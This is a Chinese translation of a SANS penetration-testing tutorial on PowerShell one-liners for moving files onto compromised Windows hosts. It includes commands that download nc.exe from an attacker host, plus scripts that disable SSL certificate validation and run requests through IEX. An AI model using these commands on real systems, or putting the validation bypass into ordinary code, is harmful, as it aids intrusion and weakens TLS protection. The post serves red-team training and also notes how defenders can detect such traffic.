1. 程式人生 > >【技術分享】手把手教你使用PowerShell實現一句話Web客戶端

【技術分享】手把手教你使用PowerShell實現一句話Web客戶端

譯者:h4d35

預估稿費:200RMB

投稿方式:傳送郵件至linwei#360.cn,或登陸網頁版線上投稿

引言

機動性對於一次入侵來說至關重要。當你將攻擊策略和工具傳送到遠端環境中時,是否能夠保持工具的可用性是資深專家和菜鳥小白的主要區別。關鍵點在於要解決在滲透測試中往往都會遇到的一個簡單但普遍存在的問題:如何將檔案從你的本機發送到你“拿下”的目標主機中。這是一個持續性的工作。無論目標環境如何配置、做了哪些安全控制,如果你都有一套上傳檔案的奇淫巧技,那你就能夠將精力集中在具體的滲透工作中,“指令碼小子”們就只能跟在你屁股後面吃灰了!

http://p7.qhimg.com/t01df20b65a98d72ed6.png

我們都在檔案傳輸這一關碰過壁。有一次,我忘記開啟FTP中的二進位制傳輸模式,導致我上傳的可執行檔案就是跑不起來,始終想不通為什麼。結果呢?我一直在這個小問題上打轉轉(如果二進位制傳輸模式未開啟,檔案就會損壞)。

精通多種檔案傳輸方法是每個滲透測試工程師都應該會的相當有用的技能之一。事實證明,這一點對於“紅隊”來說確實如此。在紅藍對抗中,任何的資料傳輸可能就是紅隊是否能夠保持訪問許可權、入侵藍隊網路甚至拿下域控許可權的關鍵。在最近的一次對抗中,我們通過與遠端桌面建立隧道連接獲得了GUI訪問許可權,但是為了將工具無損地上傳到目標環境,我們可謂是絞盡腦汁。最終我們解決了這個問題(此處應該有掌聲)……通過IE瀏覽器把工具下載下來了。成功了!好吧,雖說這裡用IE瀏覽器確實解決了我們的問題,但是本文將要討論一種更有效、更強大的方案:**PowerShell**。

http://p2.qhimg.com/t01bf6d10228aa755d2.png

*Windows使用者總算可以使用wget了!(幾乎算是wget吧?嚴格意義上講,PowerShell中的wget只是Invoke-WebRequest命令的別名,但是也很接近啦。)*

本文中用到的PowerShell命令

Win 7 PowerShell WebClient:

1 `(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")`

Win 8及更高版本PowerShell Invoke-WebRequest (wget):

1 `wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"`

顯示PowerShell版本資訊:

1 2 `Get-Host` `$PSVersionTable.PSVersion`

ServicePointManager $true:

1 `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}`

Disable-NetSSLValidation

Invoke-SelfSignedWebRequest (第三方工具):

1 2 `Invoke-SelfSignedWebRequest https://www.my.af.mil/ "-outfile index.htm"` `wget-ss https://spectruminfosec.com/index.php`

由於早期Windows系統中沒有直接的檔案傳輸工具,向Windows環境中匯入檔案一直以來都是一個比較困難的任務。Windows沒有自帶**netcat**、**wget**、**curl**、**ssh**或者**python**。但是有了PowerShell,這一切都不在話下了。是的,甚至都有**wget**了。

有一件重要的事情需要注意,那就是如今活躍的不同版本的PowerShell之間有很大的差別。一些古老的語言如Perl、Bash甚至Python,大部分的程式碼庫一直保持相當一致。PowerShell自出現以來,經歷了Windows作業系統的每次迭代的巨集觀演進。稍後還會提到這一點。

現在我們將從一個適用於所有版本的PowerShell的Web客戶端開始。

PowerShell WebClient

1 `(New-Object System.Net.WebClient).DownloadFile("http://10.0.0.10/nc.exe","nc.exe")`

http://p4.qhimg.com/t0184ece69cea6860a0.png

因為上述命令在任意版本的Powershell中都可用,所以當你編寫跨平臺的指令碼時,這是最佳的選擇。

命令分解

1. `(New-Object System.Net.WebClient)` - 建立WebClient類的例項。WebClient物件就像其他圖形介面的Web客戶端一樣,具有所有相關的功能

2. `DownloadFile("` - 呼叫WebClient類的DownloadFile方法。該方法允許WebClient從遠端伺服器下載檔案

3. `http://10.0.0.10` - 通過HTTP協議從IP地址為10.0.0.10的主機下載檔案

4. `/nc.exe"` - 下載nc.exe檔案

5. `,"nc.exe")` - 下載的檔案儲存為nc.exe

PowerShell Invoke-WebRequest

1 `wget "http://10.0.0.10/nc.exe" -outfile "nc.exe"`

http://p4.qhimg.com/t01b7340f5b5bfb3081.png

在較新版本的PowerShell中,可以使用[Invoke-WebRequest](https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest)命令。此外,該命令還有一個別名**wget**,使用方法和Unix系統中的**wget**基本一樣。

命令分解

1. `wget` - web get的簡稱。使用wget可以通過HTTP、HTTPS和FTP協議下載檔案

2. `"10.0.0.10` - 通過HTTP協議從IP地址為10.0.0.10的主機下載檔案

3. `/nc.exe"` - 下載nc.exe檔案

4. `-outfile "nc.exe"` - 下載的檔案儲存為nc.exe

Windows PowerShell從3.0版本開始引入了[Invoke-WebRequest](https://msdn.microsoft.com/powershell/reference/5.1/microsoft.powershell.utility/Invoke-WebRequest)命令。執行`Get-Host`命令或者`$PSVersionTable.PSVersion`命令可以確定當前環境中的PowerShell版本。後者顯示的版本號更精確,但是通常情況下,這兩條命令顯示的資訊都夠用了。

顯示PowerShell版本

`Get-Host`或者`$PSVersionTable.PSVersion`

Windows 7 - PS 2.0**結果如下圖所示:

http://p5.qhimg.com/t015fb6d98d44b5344d.png

Windows 10 - PS 5.1**結果如下圖所示:

http://p8.qhimg.com/t01d2ab104cbfd4513e.png

從2009年10月釋出的Windows 7和Windows Server 2008 R2系統開始,PowerShell作為Windows系統預裝元件隨系統一起釋出。不幸的是,Windows 7預裝的PowerShell是2.0版本的,而許多功能強大的命令如**Invoke-WebRequest** (**wget**)一直到3.0版本的PowerShell才被引入。2012年8月,隨著Windows 8和Windows Server 2012的釋出,PowerShell 3.0成為標準作業系統構建的一部分。在撰寫本文時,現代Windows 10作業系統預設預裝了5.0版本的PowerShell。

大多數情況下,使用PowerShell進行滲透測試時,版本之間的主要區別在於2.0版本和3.0以上的版本。在2.0版本中,許多命令列需要直接通過.Net建構函式去例項化物件,如第一個示例中Windows 7版的WebClient中通過**New-Object**的方式一樣。在3.0以上的版本中,許多功能已被建立並整合為獨立的命令,使用起來更加直觀明瞭。

結論

幾乎所有的網路環境中都存在大量的Web流量。通過HTTP協議下載檔案是一種很好的實現流量遷移而不被察覺的方式。尋找怪異的HTTP流量就像大海撈針。即便如此,考慮這樣一種情形:對於防禦者來說,通過檢查User-Agent頭識別可疑的HTTP流量效果驚人。

http://p9.qhimg.com/t01173569e4bcb9fbf5.png

儘管流量本身不是那麼顯眼(除了那些比較特殊的檔名外),“WindowsPowerShell/5.1?”這樣的UserAgent確實還是挺顯眼的,除非使用者經常通過Windows PowerShell下載檔案。

有時候,通過對流量中的敏感字眼進行過濾,篩選出那些不匹配的流量,防禦者很容易就能取得成效。Seth Misenar和Chris Crowley通過SANS RaD-X (Rapid Experience Builder) 課程,定期向美國國防部(Department of Defense of the United States,DoD)成員(包括本文作者)教授這種防禦策略。如果你是我的DoD兄弟們中的一員,我不能不推薦你參加RaD-X課程。

額外獎勵:PowerShell中使用HTTPS

通過對藍隊一方的網路流量進行深入調查,紅隊如何提高技術手段以實現入侵呢?能想到的一個方案是加密。SSL/TLS是一種典型的現代Web流量。不幸的是,當上述技術遇到自簽名或者無效簽名的證書時,我們一般很難得到想要的結果:

http://p6.qhimg.com/t0185329081ca0b9678.png

錯誤提示

WebClient.DownloadFile():

1 `Exception calling "DownloadFile" with "2" argument(s): "The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel."`

Invoke-WebRequest:

1 `The underlying connection was closed: Could not establish trust relationship for the SSL/TLS secure channel.`

當出現`CERT_AUTHORITY_INVALID`錯誤時,PowerShell會自動“保護”你。作為滲透人員來說,這是有問題的,因為我們很可能經常需要同那些沒有正式簽名證書的域或者網站打交道。繞過這些限制可能時靈時不時,取決於你所處的環境,但是綜合使用接下來介紹的一些技巧通常可以解決問題。

對於WebClient來說,這種繞過通常很簡單:

ServicePointManager $true:

1 `[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}`

通過手動配置`ServerCertificateValidationCallback`使其返回$true,禁用通過`System.Net.ServicePointManager`端點的SSL證書校驗,進而允許我們使用**WebClient.DownloadFile()**連線至具有自簽名證書的域。

不幸的是,`ServerCertificateValidationCallback`不適用於非同步回撥函式。像*Invoke-WebRequest*和*Invoke-RestMethod*之類的回撥函式在它們自己的執行緒內執行,以便給其他執行緒提供適當的執行空間,從而同時執行執行緒。因此,在配置了`ServerCertificateValidationCallback`之後,我們會遇到一個新的不同的錯誤:

1 `The underlying connection was closed: An unexpected error occurred on a send.`

解決這個問題難度有點困難,通常情況下有兩種方案:

1. 手動安裝證書

2. 在底層的.Net中禁用證書校驗

作為安全專家,我們當然選擇方案2!

Disable-NetSSLValidation:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ```powershell Add-Type @" using System; using System.Net; using System.Net.Security; using System.Security.Cryptography.X509Certificates; public class ServerCertificateValidationCallback { public static void Ignore() { ServicePointManager.ServerCertificateValidationCallback += delegate ( Object obj, X509Certificate certificate, X509Chain chain, SslPolicyErrors errors ) { return true; }; } } "@ [ServerCertificateValidationCallback]::Ignore(); ```

程式碼下載:Disable-NetSSLValidation.PDF

上述程式碼片斷對內部的.NET做了相關配置,通過**useUnsafeHeaderParsing**禁用了SSL證書校驗。不幸的是,儘管上述程式碼在某些情況下確實可用,但通常是無效的。見鬼!

鑑於我們現在被迫必須採取一些更加安全的手段,可以考慮以下程式碼:

Invoke-SelfSignedWebRequest:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 ```powershell function Invoke-SelfSignedWebRequest { <# .SYNOPSIS Performs web requests without certificate validation .DESCRIPTION Loads the target URI's SSL certificate into the local certificate store and wraps Invoke-WebRequest. Removes certificate upon completion of insecure WebRequest invocation. Aliased to wget-ss Author: Matthew Toussain (@0sm0s1z) License: BSD 3-Clause .EXAMPLE Invoke-SelfSignedWebRequest https://spectruminfosec.com/nc.exe "-outfile nc.exe" wget-ss https://spectruminfosec.com/index.php .LINK https://github.com/0sm0s1z/Invoke-SelfSignedWebRequest #> [CmdletBinding()] param( [uri][string]$url, [string]$cmdstr ) Set-StrictMode -Version 3 if($url.Scheme -ne "https") { #Direct to WebRequest $newWebRequest = "Invoke-WebRequest $url $cmdstr" IEX $newWebRequest else { [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} #Grab target SSL Certificate $webRequest = [System.Net.HttpWebRequest]::Create($url) try { $webRequest.GetResponse().Dispose() } catch {} $cert = $webRequest.ServicePoint.Certificate $bytes = $cert.Export([Security.Cryptography.X509Certificates.X509ContentType]::Cert) $fname = $url.host $savePath = "$pwd\$fname.key" set-content -value $bytes -encoding byte -path $savePath #Save to disk $importCert = new-object System.Security.Cryptography.X509Certificates.X509Certificate2 $importCert.import($savePath) #Load into local CurrentUser Store $store = Get-Item "cert:\CurrentUser\My" $store.open("MaxAllowed") $store.add($importCert) $store.close() #Wrap Invoke-WebRequest $newWebRequest = "Invoke-WebRequest $url $cmdstr" IEX $newWebRequest #Remove Cert & Clear Validation Callback Get-ChildItem -Path "cert:\CurrentUser\My" -DnsName $fname | Remove-Item -force -confirm:0 [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $null } } New-Alias wget-ss Invoke-SelfSignedWebRequest ```

程式碼下載:Invoke-SelfSignedWebRequest.PDF:

Invoke-SelfSignedWebRequest**命令是對**Invoke-WebRequest**命令的一個封裝,使用該命令可以連線到目標主機,然後下載X.509證書並將其載入進當前使用者的證書儲存區。

http://p8.qhimg.com/t01ebc358b82bc31c0b.png

接下來,它將Web請求傳遞給**Invoke-WebRequest**,從證書儲存區中刪除證書並重置**ServerCertificateValidationCallback**函式以便使系統恢復原狀。所有的活都幫你幹了,這感覺是不是很好?!

也許你已經發現`Disable-SSLValidation`命令也很有用。它利用反射機制實現了`System.Net.ICertificatePolicy`類,以禁用SSL證書校驗。不過這條命令年代比較久遠了,至於你能用來做什麼就因人而異了。

http://p9.qhimg.com/t0143e31456c75649aa.png

祝你玩的開心!

本文由 安全客 翻譯,轉載請註明“轉自安全客”,並附上鍊接。
原文連結:https://pen-testing.sans.org/blog/2017/03/08/pen-test-poster-white-board-powershell-one-line-web